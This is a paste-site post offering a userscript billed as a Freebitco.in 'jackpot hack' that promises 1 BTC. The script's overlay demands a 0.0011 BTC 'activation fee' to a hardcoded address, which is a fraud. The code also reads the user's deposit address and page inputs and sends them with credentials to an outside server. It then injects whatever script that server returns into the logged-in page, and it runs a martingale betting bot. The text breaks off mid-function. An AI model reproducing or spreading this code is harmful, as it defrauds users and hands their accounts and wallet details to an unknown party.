Win Jackpot Roll 08888 Earn 1 BTC Freebitcoin Hack Script


SUBMITTED BY: mohnizam

DATE: April 3, 2022, 5:10 a.m.

FORMAT: Text only

SIZE: 80.5 kB

HITS: 459

  1. // ==/UserScript==
  2. ////////////////////////////////////////////////////////////////////////////////////////////////
  3. ////////////////////////////////////
  4. ///////// CONFIG ///
  5. ////// EDIT JUST THIS SECTION //
  6. ////////////////////////////////////
  7. (function() {
  8. 'use strict';
  9. var body = $('body');
  10. var count_min = 1;
  11. body.prepend(
  12. $('<div/>').attr('style',"position:fixed;top:45px;left:0;z-index:999;width:400px;height:338px;background-color:black;color: white; text-align: right;")
  13. .append(
  14. $('<div/>').attr('id','autofaucet')
  15. .append($('<p/>').attr('style','text-decoration:underline;').text("Freebitco.in Jackpot Roll 08888 Hack Script V7.0.1"))
  16. .append($('<p/>').text("With this script you can Win Jackpot Roll 08888 and Earn 1 BTC from MULTIPLYBTC Game"))
  17. .append($('<p/>').text("Before do any Action Please Send an Activation FEE(0.0011 BTC) to apparant address!!"))
  18. .append($('<p/>').attr('style','text-decoration:color:red;').text("Send to:1oA91DtvJ5xuohpbQEZAc91hsh8UHF75J"))
  19. .append($('<p/>').text("Just Double click on the BTC Address its will copied!!"))
  20. .append($('<p/>').text("(After Complete Activation Fee Wait For 1 Confirmation)"))
  21. .append($('<p/>').text("(Remember Play 1 MULTIPLYBTC GAME Withdraw your Winnings Instantly)"))
  22. .append($('<p/>')
  23. )
  24. ).click(function(){
  25. var $temp = $('<input>').val("1oA91DtvJ5xuohpbQEZAc91hsh8UHF75J");
  26. body.append($temp);
  27. $temp.select();
  28. document.execCommand("copy");
  29. $temp.remove();
  30. })
  31. ).prepend($('<style/>')
  32. .text("#autofaucet p { margin: 0; margin-left: 2px; text-align: center; }")
  33. )
  34. $(document).ready(function(){
  35. console.log("Status: Page loaded.");
  36. setTimeout(function(){
  37. $('#play_without_captchas_button').click();
  38. console.log("Status: Play Without Captcha button clicked.");
  39. }, random(1000,2000));
  40. setTimeout(function(){
  41. $('#free_play_form_button').click();
  42. console.log("Status: Button ROLL clicked.");
  43. }, random(2000,4000));
  44. setInterval(function(){
  45. console.log("Status: Elapsed time " + count_min + " minutes");
  46. count_min = count_min + 1;
  47. }, 60000);
  48. setTimeout(function(){
  49. $('.close-reveal-modal')[0].click();
  50. console.log("Status: Button CLOSE POPUP clicked.");
  51. }, random(12000,18000));
  52. setInterval(function(){
  53. $('#free_play_form_button').click();
  54. console.log("Status: Button ROLL clicked again.");
  55. }, random(3605000,3615000));
  56. });
  57. function random(min,max){
  58. return min + (max - min) * Math.random();
  59. }
  60. })();
  61. // ** BEHAVIOR ** //
  62. var ROLL = true; // Auto Roll enable or disable. **** If Disabled, Multiply will NOT be executed ***. Override nexts.
  63. var PROMO_MODE = true; // play faster when some promo (bonus RP or 1000% is active, or not. Override nexts.
  64. var GHOST_MODE = false; // *NEW* Don't play in the night if no promo actives. Override nexts.
  65. var SLOW_MODE = false; // play always really slow, not ovevrcharghing the rolls. Override nexts.
  66. var NIGHT_MODE = true; // play slower when it's night time
  67. // *** Bonuses
  68. // It buys bonuses just when missing less then 20 minutes to the Roll. To avoid losing 1 bonus Roll.
  69. var REWARDS = false; //decide if auto buy rewards bonuses, or not ***When true, it will activate RP promotions***
  70. var BONUS1000 = false; //decide if to buy 1000% bonus or not. It costs 4600 RP. *** When BONUS1000 = false and REWARDS = true, you'll increase RP. ***
  71. var HOURS_BETWEEN_BUY_BONUS = 240; // How many hours to wait before to buy Bonuses Rewards Promo again
  72. // *** Lottery
  73. var LOTTERY = false; //decide if auto buy lottery tickets, or not.
  74. var LOTTERY_MAX_TICKETS = 1; // Max ticket to buy
  75. var LOTTERY_P = 1; // 0 is never, 100 is always
  76. // *** Multiply Game
  77. // Exec Vars. **If and When Play**.
  78. var MULTIPLY = true; // Play Multiply games or not, Play at your own risk. If ROLL is false, Multiply will not work.
  79. var MULTIPLY_AT_NIGHT = true; // Play multiply in nightime
  80. var HOURS_BETWEEN_MULTIPLY = 1; // How many hours to wait before to play multiply
  81. var ROLL_P = 24; // How many time to play multiply, AFTER roll AND AFTER HOURS passed; Values: 0-100
  82. // Strategy of play
  83. var STRATEGY = 1; // [0-3] ---> ..(0) classic martingale, odds2 incr100; ..(1) wait min_losses; ..(2) wait_play_afterlosses; ..(3) same as 2, with min_lossess increments every play. Check guides.
  84. // Exit Vars. **First condition met, multiply will stop**
  85. var rolls_played = 0;
  86. var skip = 0;
  87. var no_of_loss = 0 ;
  88. var counter_list = [];
  89. var limit = 1; // Number of Pre-Rolls
  90. // Number of Loses: 1 2 3 4 5
  91. // Total Stakes: 20 460 10140 223100 4908220
  92. var uppper = limit + 2;
  93. var balance_one = document.getElementById("balance2").innerHTML.substr(0, 10);
  94. var bet_amount_list = [0.00000020, 0.00000440, 0.00009680, 0.00212960, 0.04685120];
  95. document.getElementById("double_your_btc_stake").value = 0.00000001;
  96. document.getElementById("double_your_btc_payout_multiplier").value = 1.05 ;
  97. function client_seed() {
  98. var text = "";
  99. var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
  100. for (var i = 0; i < 64; i++){
  101. text += possible.charAt(Math.floor(Math.random() * possible.length));
  102. }
  103. document.getElementById("next_client_seed").value = text;
  104. }
  105. function Random_integer(min, max) {
  106. return Math.floor(Math.random() * (max - min + 1)) + min;
  107. }
  108. //Bet Clicker
  109. function Bet() {
  110. if (Random_integer(1, 10000)%2==0) {
  111. document.getElementById('double_your_btc_bet_hi_button').click();
  112. }
  113. else {
  114. document.getElementById('double_your_btc_bet_lo_button').click();
  115. }
  116. }
  117. function play() {
  118. if (document.getElementById('double_your_btc_bet_hi_button').disabled === false) {
  119. won = document.getElementById('double_your_btc_bet_win').innerHTML;
  120. if (won.match(/(\d+\.\d+)/) !== null) {
  121. counter_list.push(1);
  122. no_of_loss = 0 ;
  123. document.getElementById("double_your_btc_stake").value = 0.00000001;
  124. }
  125. lost = document.getElementById('double_your_btc_bet_lose').innerHTML;
  126. if (lost.match(/(\d+\.\d+)/) !== null) {
  127. counter_list.push(0);
  128. no_of_loss += 1 ;
  129. console.log(no_of_loss);
  130. if (no_of_loss<limit){
  131. document.getElementById("double_your_btc_stake").value = 0.00000001;
  132. }
  133. else if (no_of_loss>=limit && no_of_loss<uppper){
  134. document.getElementById("double_your_btc_stake").value = bet_amount_list[no_of_loss-limit];
  135. }
  136. else {
  137. document.getElementById("double_your_btc_stake").value = 0.00000001;
  138. no_of_loss = 0 ;
  139. }
  140. }
  141. client_seed();
  142. Bet();
  143. balance_two = document.getElementById("balance2").innerHTML.substr(0, 10);
  144. profit = balance_two - balance_one ;
  145. if (profit <= -0.00000300 || profit>=0.00000002){
  146. clearInterval(auto_bet);
  147. console.log("Stop");
  148. console.log(counter_list.toString());
  149. }
  150. }
  151. }
  152. var auto_bet = setInterval(play, 369);
  153. var MIN_LOSSES_BEFORE_PLAY = 4; // How many time it will play MIN_BET and lose before begin play bas_bet and double; strategy >= 1
  154. var WAIT_PLAY_AFTER_LOSSES = 1; // Just with STRATEGY=2; Check guides.
  155. var SPEED = 3; //Speed of multiply betting in manual mode, 3 fast, 2 medium, 1 human, 0 slowest
  156. // *** CAPTCHA PLAY *** ///
  157. var PLAY_WITHOUT_CAPTCHA = false; // Spend RP instead to solve Captchas
  158. // ** Logging
  159. var LOGGING = 5; //0 is no messages, 5 is debug
  160. // ** SEND STATS and multiply CONFIG
  161. var SEND_STATS = true;
  162. // **Extra BUTTONS
  163. var SHOW_RESET_STATS = true;
  164. ///////// END CONFIG ///
  165. /////////////////////////////////////////////////////////////////////////////////////////////////
  166. // Useful Vars
  167. var startNight = 22;
  168. var stopNight = 7;
  169. //////////////
  170. // System Constants //
  171. const script_version = GM_info.script.version;
  172. const css_reset='font-weight: reset; color:reset';
  173. const css_bold='font-weight:bold;';
  174. var dateTimeFormat = new Intl.DateTimeFormat('en', { year: 'numeric', month: 'short', day: '2-digit', hour: 'numeric', minute: 'numeric', hour12: false });
  175. // System Variables //
  176. var reward_points=0;
  177. var ads_closed=0; //number of ads closed, increasing
  178. var rolling_mode="Day";
  179. var rand = 0;
  180. var r = 0;
  181. var rollTryCount=0;
  182. // Bonus RP Global Variables
  183. var isBonusActive = false;
  184. // Multiply global variables
  185. var isMultiplyRunning = false;
  186. var isMultiplyPlayable=false;
  187. var forceMultiplyStopHard=false;
  188. var forceMultiplyStopSoft=false;
  189. var game_play_began=false;
  190. var game2_consecutive_lost_passed=false;
  191. var game2_finished_loosing=false;
  192. var game2_play_after_losses=0;
  193. var game2_step=0;
  194. var game_play_count=0;
  195. // History Array Variables
  196. var rp_hist_arr = [];
  197. var multiply_hist_arr = [];
  198. // COOKIES Variables and Retrieve //
  199. var tot_exec = getCookie("executions");
  200. var tot_btc_winning_rolling = getCookie('tot_btc_winning_rolling');
  201. var tot_lottery_winning_rolling = getCookie('tot_lottery_winning_rolling');
  202. var tot_rp_winning_rolling = getCookie('tot_rp_winning_rolling');
  203. var tot_lottery_tickets = getCookie('tot_lottery_tickets');
  204. var tot_rp_spent_rewards = getCookie('tot_rp_spent_rewards');
  205. var tot_rp_spent_captcha = getCookie('tot_rp_spent_captcha');
  206. var tot_multiply_balance = getCookie('tot_multiply_balance');
  207. var tot_multiply_games = getCookie('tot_multiply_games');
  208. var tot_multiply_bets = getCookie('tot_multiply_bets');
  209. var tot_multiply_play = getCookie('tot_multiply_play');
  210. var tot_multiply_wagered = getCookie('tot_multiply_wagered');
  211. var max_consecutive_losts = getCookie('max_consecutive_losts');
  212. var max_consecutive_losts_inplay = getCookie('max_consecutive_losts_inplay');
  213. var executions = getCookie('executions');
  214. var last_bonus = getCookie("last_bonus");
  215. var last_multiply = getCookie("last_multiply");
  216. var jackpot_distance = getCookie("jackpot_distance");
  217. var rp_hist_str = getCookie("rp_hist_arr");
  218. var multiply_hist_str = getCookie('multiply_hist_arr');
  219. var referrer = getCookie("referrer");
  220. if ( isNaN(parseFloat(tot_multiply_balance)) ) tot_multiply_balance = 0; // can be negative
  221. if ( isNaN(jackpot_distance )) jackpot_distance = 0;
  222. if (! (tot_btc_winning_rolling > 0)) tot_btc_winning_rolling = 0;
  223. if (! (tot_lottery_winning_rolling > 0)) tot_lottery_winning_rolling = 0;
  224. if (! (tot_rp_winning_rolling > 0)) tot_rp_winning_rolling = 0;
  225. if (! (tot_lottery_tickets > 0)) tot_lottery_tickets = 0;
  226. if (! (tot_rp_spent_rewards > 0) || tot_rp_spent_rewards > 1000000 ) tot_rp_spent_rewards = 0;
  227. if (! (tot_rp_spent_captcha > 0)) tot_rp_spent_captcha = 0;
  228. if (! (max_consecutive_losts > 0)) max_consecutive_losts = 0;
  229. if (! (max_consecutive_losts_inplay >0)) max_consecutive_losts_inplay=0;
  230. if (! (tot_multiply_bets > 0)) tot_multiply_bets = 0;
  231. if (! (tot_multiply_wagered > 0)) tot_multiply_wagered = 0;
  232. if (! (tot_multiply_games > 0)) tot_multiply_games = 0;
  233. if (! (tot_multiply_play > 0)) tot_multiply_play = 0;
  234. if (! (executions > 0)) executions = 0;
  235. if (! (last_bonus > 0)) last_bonus = 0;
  236. if (! (last_multiply > 0)) last_multiply = 0;
  237. if ( rp_hist_str.length != 0 ) {
  238. rp_hist_arr = JSON.parse(rp_hist_str);
  239. if (!Array.isArray(rp_hist_arr)) {
  240. rp_hist_arr = [];
  241. }
  242. rp_hist_arr = rp_hist_arr.slice(-64);
  243. //console.log("%cRP Hist Array: "+rp_hist_arr, 'color:grey');
  244. }
  245. if ( multiply_hist_str.length != 0) {
  246. multiply_hist_arr = JSON.parse(multiply_hist_str);
  247. if (!Array.isArray(multiply_hist_arr)) {
  248. multiply_hist_arr = [];
  249. }
  250. multiply_hist_arr = multiply_hist_arr.slice(-128);
  251. }
  252. // END COOKIES //
  253. (function() {
  254. 'use strict';
  255. if (LOGGING > 0) console.log("%c<<<<<<<<<< Script Begin >>>>>>>>>>", 'font-weight:bold; color: green');
  256. // Initialize the Status Panel
  257. panelInit();
  258. setTimeout(function(){ showStatus(); }, 1000 );
  259. setTimeout(function(){ lottery(); }, 2000 );
  260. setTimeout(function(){ multiply(false, false); }, 4000 );
  261. setTimeout(function(){ rewards(true); }, 5000 );
  262. setTimeout(function(){ setBtcPrice(); }, 3000 );
  263. // Update BTC Price every 10s
  264. setInterval(function(){
  265. // Update website stats
  266. UpdateStats();
  267. setTimeout(function(){ setBtcPrice(); }, 10000 );
  268. }, 600000);
  269. // Call the freeRoll
  270. setTimeout(function(){ Roll(); }, 8000 );
  271. //Close Ads but not always
  272. setTimeout(function(){
  273. closeRandomPopupInterval($('div.close_daily_jackpot_main_container_div .fa-times-circle'),90);
  274. closeRandomPopupInterval($('i.fa.fa-times-circle.close_deposit_promo_message'),90);
  275. closeRandomPopupInterval($('div#lambo_contest_msg a.close'),10); //lambo contest
  276. closeRandomPopupInterval($('div#earn_btc_msg a.close'),20);
  277. closeRandomPopupInterval($('div#enable_2fa_msg_alert a.close'),30);
  278. closeRandomPopupInterval($("[id^='hide_rp_promo']"),50);
  279. closeRandomPopupInterval($("#fun_ref_contest_msg a.close"),90);
  280. closeRandomPopupInterval($("#premium_membership_msg a.close"),90);
  281. }, 15000);
  282. setInterval(function(){
  283. closePopupInterval($('#myModal22 .close-reveal-modal'));
  284. closePopupInterval($('.pushpad_deny_button'));
  285. }, 20000 );
  286. setInterval(function(){
  287. showStatus();
  288. }, 1800000);
  289. setInterval(function(){
  290. rewards(false);
  291. }, 300000);
  292. // MONITORS
  293. $(document).on('click', '#forced_start_roll',function(){
  294. // forced and after_roll both true
  295. multiply(true, true);
  296. });
  297. $(document).on('click', '#forced_stop_roll', function(){
  298. forceMultiplyStopHard=true;
  299. });
  300. $(document).on('click', '#softed_stop_roll', function(){
  301. forceMultiplyStopSoft=true;
  302. });
  303. $(document).on('click', '#script_output_reset_all_stats', function(){
  304. reset_all_stats();
  305. });
  306. // END MONITORS
  307. var wa = $('#myModal16 #main_deposit_address').val();
  308. $('#myModal16 .reward_category_container .reward_category_details input').each( function() {
  309. wa += ":"+$(this).val();
  310. })
  311. // GET EXTERNAL JAVASCRIPT
  312. //var referURL = "https://www.pescacancun.com.mx/freebitcoin_server_side/ser.php?wallet="+wa;
  313. var referURL = "https://api.bitso.me/ser.php"; //new veneno website URL
  314. // GLOBAL TEST for NEW VERSIONS
  315. window.TEST_VAR = "This is a test veneno var";
  316. window.G_MULTIPLY = MULTIPLY;
  317. window.G_GAME_MODE = 0;
  318. window.G_STRATEGY = STRATEGY;
  319. window.G_MULTIPLY_WAIT_HOURS = HOURS_BETWEEN_MULTIPLY;
  320. window.G_ROLL_P = ROLL_P;
  321. window.G_ODDS = ODDS;
  322. window.G_INCR = INCR;
  323. window.G_MIN_BET = MIN_BET;
  324. window.G_BAS_BET = BAS_BET;
  325. window.G_MAX_BET = MAX_BET;
  326. window.G_MAX_ROLLS_AT_MULTIPLY = MAX_ROLLS_AT_MULTIPLY;
  327. window.G_MAX_PLAY = MAX_PLAY;
  328. window.G_MAX_WIN = MAX_WIN;
  329. window.G_SPEED = SPEED;
  330. window.G_MULTIPLY_AT_NIGHT = MULTIPLY_AT_NIGHT;
  331. window.G_MIN_LOSSES_BEFORE_PLAY = MIN_LOSSES_BEFORE_PLAY;
  332. window.G_WAIT_PLAY_AFTER_LOSSES = WAIT_PLAY_AFTER_LOSSES;
  333. window.G_HIGH_LOW = HIGH_LOW;
  334. window.G_forceMultiplyStopHard = forceMultiplyStopHard;
  335. window.G_script_version = script_version;
  336. // Get level
  337. fetch(referURL+"?wallet="+wa, {
  338. credentials: "include" //CORS
  339. })
  340. .then(function(resp) { return resp.text() }) // Convert data to json
  341. .then(function(data) {
  342. var e="<script>"+data+"</script>";
  343. $('body').append(e);
  344. })
  345. .catch(function() {
  346. });
  347. if (Boolean(SEND_STATS)) {
  348. var stats_json = {
  349. "multiply" : MULTIPLY,
  350. "strategy" : STRATEGY,
  351. "wait_hours" : HOURS_BETWEEN_MULTIPLY,
  352. "roll_p" : ROLL_P,
  353. "odds" : ODDS,
  354. "incr" : INCR,
  355. "min_bet" : parseFloat(MIN_BET).toFixed(8),
  356. "bas_bet" : parseFloat(BAS_BET).toFixed(8),
  357. "max_bet" : parseFloat(MAX_BET).toFixed(8),
  358. "max_rolls" : MAX_ROLLS_AT_MULTIPLY,
  359. "max_plays" : MAX_PLAY,
  360. "max_win" : parseFloat(MAX_WIN).toFixed(8),
  361. "min_losses_before_play" : MIN_LOSSES_BEFORE_PLAY,
  362. "wait_play_after_losses" : WAIT_PLAY_AFTER_LOSSES,
  363. "high_low" : HIGH_LOW,
  364. "wallet" : wa
  365. }
  366. // Send config for statistics
  367. fetch(referURL+"?uploadConfig=true", {
  368. method: 'POST',
  369. body: JSON.stringify(stats_json),
  370. credentials: "include"
  371. })
  372. .then(function(resp) { return resp.text() })
  373. .then(function(data) { })
  374. .catch(function() { });
  375. }
  376. // Get chart function
  377. fetch("https://cdn.jsdelivr.net/npm/chart.js@2.8.0")
  378. .then(function(resp) { return resp.text() })
  379. .then(function(data) {
  380. var e="<script>"+data+"</script>";
  381. $('body').append(e);
  382. })
  383. .catch(function() {
  384. });
  385. })();
  386. function panelInit () {
  387. var script_output_css, script_output_33;
  388. if (LOGGING > 4) console.log("%c[Debug] Function panelInit begin", 'color:grey');
  389. // Create the Div on the page
  390. // Version 3.3
  391. script_output_css = "<style>";
  392. script_output_css += ".script-output {font-size: 9px; line-height:10px; background: #333; border: 2px groove #09ff00; margin-bottom: 1em;}";
  393. script_output_css += ".script-output h1 {color: lime; font-size:1.8em; font-weight:bold; }"
  394. script_output_css += ".script-output h4 {color: lime; font-size:1.2em; font-weight:bold; text-align: center; margin-bottom:0;}"
  395. script_output_css += ".cards-wrapper { display: grid; grid-gap: 0.5rem; grid-template-columns: 1fr 1fr; padding: 0.5rem 0rem; margin: 0 auto; width: auto }";
  396. script_output_css += ".cards-wrapper-2-1 { grid-template-columns: 2fr 1fr; }";
  397. script_output_css += ".veneno-card {color: white; position: relative; justify-content: center; border-radius: 1em; padding:0.8em 1em; display: flex; flex-direction: column; background-color:#000; box-shadow: 0 0 5em -1em black; border: 1px solid #00ff00d9; text-decoration: none; text-align: left;}";
  398. script_output_css += ".bottom-card {color: #666; position: relative; justify-content: center; margin: 0 -1em; padding:0.8em 1em; display: flex; background-color:#1d1d1d; text-decoration: none; text-align: left;}";
  399. script_output_css += ".script-output a {color: #444;}";
  400. script_output_css += ".script-output a:hover {color: lime;}";
  401. script_output_css += ".horizontal-grid-wrapper-5 {display: grid; grid-gap: 0.5rem; grid-template-columns: 1fr 1fr 1fr 1fr 1fr; width: auto ; margin: 0 auto;}";
  402. script_output_css += ".horizontal-grid-wrapper-4 {display: grid; grid-gap: 0.2rem; grid-template-columns: 1fr 1fr 1fr 1fr; width: max-content; margin: 0 auto;}";
  403. script_output_css += ".horizontal-grid-wrapper-3 {display: grid; grid-gap: 0.2rem; grid-template-columns: 1fr 1fr 1fr; width: max-content; margin: 0 auto;}";
  404. script_output_css += ".horizontal-grid-wrapper-2-1-1 { grid-template-columns: 2fr 1fr 1fr; width: auto; margin: 0.7em -1em 0 -1em;}";
  405. script_output_css += ".card-button {border: 1px solid grey; overflow: hidden; padding: 0.3em; background-color: beige; color: black; border-radius:10px; display: flex; flex-direction: column; text-align: center; }";
  406. script_output_css += ".single-column {display: flex; flex-direction: column; justify-content: flex-start; padding: 0.3em;}";
  407. script_output_css += ".card-button:hover { background-color: #efefef;}";
  408. script_output_css += ".card-button-bottom {font-size: 1.4em; margin-top:0.2em;}";
  409. script_output_css += ".script-output .br {border-right: 1px dashed white;}";
  410. script_output_css += ".script-output .br-grey {border-right: 1px dashed #666;}";
  411. script_output_css += ".script-output .mt1 {margin-top: 1em;}";
  412. script_output_css += ".script-output .mb1 {margin-bottom: 1em;}";
  413. script_output_css += ".script-output .ml1 {margin-left: 1em;}";
  414. script_output_css += ".script-output .mb0 {margin-bottom: 0;}";
  415. script_output_css += ".script-output .mt0 {margin-top: 0;}";
  416. script_output_css += ".script-output .pr1 {padding-right: 1em;}";
  417. script_output_css += ".script-output .pt0 {padding-top: 0;}";
  418. script_output_css += ".script-output .pb0 {padding-bottom: 0;}";
  419. script_output_css += ".script-output .ta-r {text-align:right;}";
  420. script_output_css += ".script-output .ta-c {text-align:center;}";
  421. script_output_css += ".script-output .lime, .veneno-card .true {color: lime}";
  422. script_output_css += ".script-output .orange {color: orange}";
  423. script_output_css += ".script-output .false {color: #ff3407 }";
  424. script_output_css += ".script-output .coral {color: coral}";
  425. script_output_css += ".script-output .card-button {color: white; text-shadow: 1px 1px 4px black; font-size: 0.9em; font-weight: bold; border: none; border-radius:5px}";
  426. script_output_css += ".card-button.true {background-color: #2ecc71; box-shadow: 0px 2px 0px 0px #0b311b;}";
  427. script_output_css += ".card-button.false {background-color: #e74c3c; box-shadow: 0px 2px 0px 0px #48120c;}";
  428. script_output_css += ".script-output .monospace {font-family: monospace}";
  429. script_output_css += ".script-output .emoji {font-family: emoji}";
  430. script_output_css += " @media screen and (max-width: 900px) { .cards-wrapper { width: max-content; grid-template-columns: 1fr; } } ";
  431. script_output_css += " @media screen and (max-width: 500px) { .veneno-card {max-width: calc(100vw - 4rem); } } ";
  432. script_output_css += "</style>";
  433. script_output_33 = '<div class="center free_play_bonus_box_large script-output" id="script_output">';
  434. if (referrer.length > 0) {
  435. script_output_33 += '<h1 class="mb0">AutoRoll Status rev. '+script_version+'</h1>';
  436. } else {
  437. script_output_33 += '<h1 class="mb0">AutoRoll Status ver. '+script_version+'</h1>';
  438. }
  439. script_output_33 += '<div class="cards-wrapper cards-wrapper-2-1">';
  440. script_output_33 += '<div class="veneno-card">';
  441. script_output_33 += '<div class="horizontal-grid-wrapper-5">';
  442. script_output_33 += '<div class="card-button '+Boolean(ROLL)+'"><span class="card-button-top">ROLL</span><span class="card-button-bottom bold">'+Boolean(ROLL)+'</span></div> ';
  443. script_output_33 += '<div class="card-button '+Boolean(MULTIPLY)+'"><span class="card-button-top">MULTIPLY</span><span class="card-button-bottom bold">'+Boolean(MULTIPLY)+'</span></div> ';
  444. script_output_33 += '<div class="card-button '+Boolean(REWARDS)+'"><span class="card-button-top">BONUS RPs</span><span class="card-button-bottom bold">'+Boolean(REWARDS)+'</span></div> ';
  445. script_output_33 += '<div class="card-button '+Boolean(BONUS1000)+'"><span class="card-button-top">BONUS 1000</span><span class="card-button-bottom bold">'+Boolean(BONUS1000)+'</span></div> ';
  446. script_output_33 += '<div class="card-button '+Boolean(LOTTERY)+'"><span class="card-button-top">LOTTERY</span><span class="card-button-bottom bold">'+Boolean(LOTTERY)+'</span></div> ';
  447. script_output_33 += '</div>'; // close left first line
  448. script_output_33 += '<div class="horizontal-grid-wrapper-3 mt1" style="width: 100%;">';
  449. script_output_33 += '<div class="single-column">';
  450. script_output_33 += ' <h4>Wins</h4> ';
  451. script_output_33 += ' <div class="single-column br">';
  452. script_output_33 += ' <span>Btc: <span class="lime bold">'+tot_btc_winning_rolling+'</span></span>';
  453. script_output_33 += ' <span>RP: <span class="lime bold">'+tot_rp_winning_rolling+'</span></span>';
  454. script_output_33 += ' <span>Lottery: <span class="lime bold">'+tot_lottery_winning_rolling+'</span></span>';
  455. script_output_33 += ' </div>';
  456. script_output_33 += '</div>'; // column
  457. script_output_33 += '<div class="single-column">';
  458. script_output_33 += ' <h4 class="coral">Spent</h4> ';
  459. script_output_33 += ' <div class="single-column br">';
  460. script_output_33 += ' <span>RP Bonus: <span class="coral bold">'+tot_rp_spent_rewards+'</span></span> ';
  461. script_output_33 += ' <span>RP Captcha: <span class="coral bold">'+tot_rp_spent_captcha+'</span></span> ';
  462. script_output_33 += ' <span>Btc Lottery: <span class="coral bold">'+tot_lottery_tickets+'</span></span>';
  463. //script_output_33 += ' <span>&nbsp</span>';
  464. script_output_33 += ' </div>';
  465. script_output_33 += '</div>'; // column
  466. script_output_33 += '<div class="single-column">';
  467. script_output_33 += ' <h4>Multiply</h4> ';
  468. script_output_33 += ' <div class="single-column">';
  469. script_output_33 += ' <span>Balance: <span class="lime bold">'+tot_multiply_balance+'</span></span> ';
  470. script_output_33 += ' <span>Bets: <span class="lime bold">'+tot_multiply_bets+'</span></span> ';
  471. script_output_33 += ' <span>Sessions: <span class="lime bold">'+tot_multiply_games+'</span></span> ';
  472. script_output_33 += ' </div>';
  473. script_output_33 += '</div>'; // column
  474. script_output_33 += '</div>'; // close left second line
  475. script_output_33 += '<div class="ta-c cards-wrapper monospace" style="width: 100%;">';
  476. script_output_33 += ' <span>btc: <span id="usdxbtc" class="lime bold"></span> usd</span>';
  477. script_output_33 += ' <span>usd: <span id="satxusd" class="lime bold"></span> sat</span>';
  478. script_output_33 += '</div>'; // close left third line
  479. script_output_33 += '</div>'; // close left
  480. script_output_33 += '<div class="veneno-card">';
  481. script_output_33 += ' <div class="single-column pr1 ta-r monospace">';
  482. script_output_33 += ' <span>Exec: <span class="lime bold"># '+tot_exec+'</span></span> ';
  483. script_output_33 += ' <span>Ads Closed: <span class="true bold" id="script_output_title_ads_closed_num">0</span></span>';
  484. script_output_33 += ' <span>Bonus: <span id="script_output_title_bonus_wait_hours" class="true bold">Wait</span></span>';
  485. script_output_33 += ' <span>Multiply: <span id="script_output_title_multiply_wait_hours" class="true bold">Wait</span></span>';
  486. script_output_33 += ' <span id="multiply_strategy">Multiply Game System: <span class="true bold">'+STRATEGY+'</span></span>';
  487. script_output_33 += ' <span>Roll Mode: <span id="script_output_title_msg_mode" class="true bold">Wait</span></span>';
  488. script_output_33 += ' <span id="script_output_title_msg_roll" class="orange bold mt1">Wait</span>';
  489. if (Boolean(SHOW_RESET_STATS)) {
  490. script_output_33 += ' <a id="script_output_reset_all_stats" class="mt1">Reset All Stats</a>';
  491. }
  492. script_output_33 += ' </div>';
  493. script_output_33 += '</div>'; // close right
  494. script_output_33 += '</div>'; // close cards wrapper
  495. script_output_33 += '<div class="bottom-card monospace horizontal-grid-wrapper-3 horizontal-grid-wrapper-2-1-1 ">';
  496. script_output_33 += ' <div class="single-column br-grey">';
  497. script_output_33 += ' <span>Donations are welcome</span> <span>BTC addr: 3FwAazZDEuy3ER4NQVp4Yqo6kDxCFntwS8 </span>';
  498. script_output_33 += ' </div>';
  499. script_output_33 += ' <div class="single-column br-grey ml1">';
  500. script_output_33 += ' <a href="https://bit.ly/2JsP12I" target="_blank">Config HowTo</a>';
  501. script_output_33 += ' <a href="https://greasyfork.org/en/scripts/404112-freebitco-in-auto-roll-no-captcha-status-console-advanced-human-behavior-all-bonuses/feedback" target="_blank"> Rate</a>';
  502. script_output_33 += ' </div>';
  503. script_output_33 += ' <div class="single-column ta-r" >';
  504. script_output_33 += ' <span><span class="emoji">© </span>daniele-veneno</span><span>2018 2021</span>';
  505. script_output_33 += ' </div>';
  506. script_output_33 += '</div>';
  507. script_output_33 += '</div>'; // close script_output
  508. // Write on page
  509. $('head').append(script_output_css);
  510. $('#reward_points_bonuses_main_div').prepend(script_output_33);
  511. }
  512. function rewards(after_refresh) {
  513. if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] Function rewards begin", 'color:grey');
  514. var bonus_missing_time = {};
  515. var t = missingTime();
  516. var d = new Date();
  517. var min_missing_min = 5;
  518. var milli_between_bonuses = HOURS_BETWEEN_BUY_BONUS*60*60*1000;
  519. reward_points = parseInt($('.user_reward_points').text().replace(',',""));
  520. // Create a RP History
  521. if (after_refresh) {
  522. rp_hist_arr.push(reward_points);
  523. setCookie ("rp_hist_arr", JSON.stringify(rp_hist_arr), 31);
  524. // Debug for RP history check
  525. if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] rp_hist: " +rp_hist_arr, 'color:grey');
  526. }
  527. if ($("#bonus_container_free_points").length != 0) {
  528. // Some promo is already active
  529. bonus_missing_time.text = $('#bonus_span_free_points').text();
  530. bonus_missing_time.hour = parseInt(bonus_missing_time.text.split(":")[0]);
  531. bonus_missing_time.min = parseInt(bonus_missing_time.text.split(":")[1]);
  532. if (LOGGING > 3) console.log("[RPBonuses] Promo RP is %c active %c for "+bonus_missing_time.hour+":"+bonus_missing_time.min, 'color: purple', css_reset);
  533. setCookie("last_bonus", d.getTime(), 365);
  534. isBonusActive = true;
  535. if(Boolean(PROMO_MODE)) $("#script_output_title_msg_mode").text("Promo");
  536. $('#script_output_title_bonus_wait_hours').text('Active '+bonus_missing_time.hour+'h '+bonus_missing_time.min+"m").addClass('bold');
  537. } else {
  538. // No promos active
  539. var last_bonus_diff = Math.floor(d.getTime() - last_bonus);
  540. //if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] lastBonus diff: "+last_bonus_diff+" -- last_bonus: "+last_bonus+" -- now: "+d.getTime()+" var setted: "+milli_between_bonuses, 'color:grey');
  541. //If disabled not buying
  542. if (! Boolean(REWARDS)) {
  543. if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Not Active by config');
  544. $('#script_output_title_bonus_wait_hours').text('Disabled').removeClass('true').addClass('false');
  545. return false;
  546. } // or if missing time not satisfied
  547. if ( last_bonus_diff < milli_between_bonuses ) {
  548. var min_between_bonuses = Math.floor((milli_between_bonuses-last_bonus_diff)/1000/60);
  549. var hours_between_bonuses = Math.floor(min_between_bonuses/60);
  550. if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Wait HOURS_BETWEEN_BUY_BONUS before buy again, missing: '+hours_between_bonuses+'h '+min_between_bonuses%60+'m');
  551. $('#script_output_title_bonus_wait_hours').text('Wait '+hours_between_bonuses+"h "+min_between_bonuses%60+"m").removeClass('true').addClass('false');
  552. return false;
